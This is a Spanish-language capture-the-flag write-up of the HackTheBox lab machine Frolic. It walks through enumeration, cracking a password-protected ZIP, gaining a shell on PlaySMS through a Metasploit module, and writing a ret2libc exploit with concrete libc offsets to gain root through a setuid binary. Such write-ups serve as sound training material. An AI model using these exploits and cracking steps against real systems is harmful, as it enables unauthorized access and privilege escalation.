· Manuel López Pérez · writeups  · 3 min read

WriteUp – Frolic (HackTheBox)

Write-up de Frolic (HackTheBox): máquina Linux media que explota un servicio web con múltiples pasos de enumeración (Ook, base64, ZIP, brainfuck) para obtener shell, y luego escalada a root vía ret2libc en un binario setuid con NX activado y ASLR desactivado.

Write-up de Frolic (HackTheBox): máquina Linux media que explota un servicio web con múltiples pasos de enumeración (Ook, base64, ZIP, brainfuck) para obtener shell, y luego escalada a root vía ret2libc en un binario setuid con NX activado y ASLR desactivado.

En este post haremos la máquina Frolic de HackTheBox. Es una máquina Linux de nivel medio que nos ayudará a aprender sobre el desarrollo de exploits para binarios con NX pero sin ASLR, es decir ret-2-libc.

Mi nick en HackTheBox es: manulqwerty. Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos. Y si no sabéis qué es un exploit ret2libc, os dejo una guía que hice hace un tiempo: https://ironhackers.es/tutoriales/introduccion-al-exploiting-parte-4-ret2libc-stack-6-protostar/ Además del write-up escrito, para esta máquina he hecho un video (he intentado hacerlo lo más corto posible, si queréis ver una explicación en detalle os recomiendo los videos de IppSec).

Video

https://youtu.be/xl6vVi0aycI

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de todos los puertos con nmap:

nmap -sC -sV 10.10.10.111

Como veis, hay un SSH, un SMB y un HTTP. Vamos a enumerar la web con dirsearch recursivamente.

dirsearch -u http://frolic.htb:9999/ -r -e php -t 50 -x 403

Accediendo a http://frolic.htb/admin/success.html vemos un código Okk! En http://frolic.htb/asdiSIAJJ0QWE9JAS encontramos un base64 que tras decodificarlo vemos que es un ZIP con contraseña. Podemos hacerle fuerza bruta al zip con fcrackzip:

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt fr.zip

El ZIP contiene un fichero index.php que es un hexadecimal. Pasamos el hexadecimal a ascii obteniendo un base64 que contiene un código brainfuck. Tras decodificar el Brainfuck, obtenemos: idkwhatispass Revisando los resultados del Dirsearch vemos que hay un http://frolic.htb/dev/backup Mediantes las credenciales admin:idkwhatispass podremos acceder al playsms.

Explotación

El PlaySMS es vulnerable, podremos obtener shell mediante un módulo de metasploit: multi/http/playsms_uploadcsv_exec

 use multi/http/playsms_uploadcsv_exec set rhosts 10.10.10.111 set lhost tun0 set rport 9999 set targeturi /playsms/ set password idkwhatispass 

Post-Explotación

Para acceder al usuario root tendremos que ser capaces de desarrollar un exploit para un binario con el bit NX activo pero sin ASLR en el sistema. Yo usaré la técnica ret2libc.

Lo primero es buscar binarios con el bit SUID activo utilizando el comando find:

find / -perm -4000 2>/dev/null

Encontramos el binario: /home/ayush/.binary/rop que pertenece al usuario root. ASLR desactivado:

cat /proc/sys/kernel/randomize_va_space

Como veíaimos en la guia de ret-2-libc, necesitamos la longitud de nuestro relleno y las direcciones de system, exit y /bin/sh en la biblioteca libc. Vamos a hacernos una plantilla que iremos completando:

import struct
def m32(dir):
    return struct.pack("I",dir)
    padding = base =
    sys = m32(base + )
    exit = m32(base + )
    binsh = m32(base + ) print padding + sys + exit + binsh

Busquemos la longitud de nuestro relleno con msf-pattern: La longitud de nuestro relleno será 52 bytes, busquemos las direcciones de la biblioteca libc, de system, de exit y de /bin/sh. Nuestro exploit será:

import struct
def m32(dir):
    return struct.pack("I",dir)
    padding = "A" * 52
    base = 0xb7e19000
    sys = m32(base + 0x0003ada0)
    exit = m32(base + 0x0002e9d0)
    binsh = m32(base + 0x15ba0b) print padding + sys + exit + binsh

Ejecutemoslo:

./rop $(python /tmp/exploit)

Back to Blog

Related Posts

View All Posts »
WriteUp – Frolic (HackTheBox)

WriteUp – Frolic (HackTheBox)

Descripción de Frolic (HackTheBox): máquina Linux de nivel medio que explota un servicio web con múltiples pasos de enumeración (Ook, base64, ZIP, brainfuck) para obtener acceso al shell, y luego se eleva a root a través de ret2libc en un binario setuid con NX habilitado y ASLR deshabilitado.

WriteUp – Vault (HackTheBox)

WriteUp – Vault (HackTheBox)

Vault write-up (HackTheBox): average Linux machine that exploits file upload with filter bypass to obtain initial shell, pivots through OpenVPN and internal networks to escalate privileges and obtain root.

WriteUp – Vault (HackTheBox)

WriteUp – Vault (HackTheBox)

Write-up de Vault (HackTheBox): máquina Linux media que explota subida de archivo con bypass de filtros para obtener shell inicial, pivotea a través de OpenVPN y redes internas para escalar privilegios y obtener root.

WriteUp – Curling (HackTheBox)

WriteUp – Curling (HackTheBox)

Curling write-up (HackTheBox): easy Linux machine that exploits Joomla with credentials leaked in comments, uploads webshell via template, obtains floris credentials via password_backup, and escalates to root with DirtySock (CVE-2019-7304).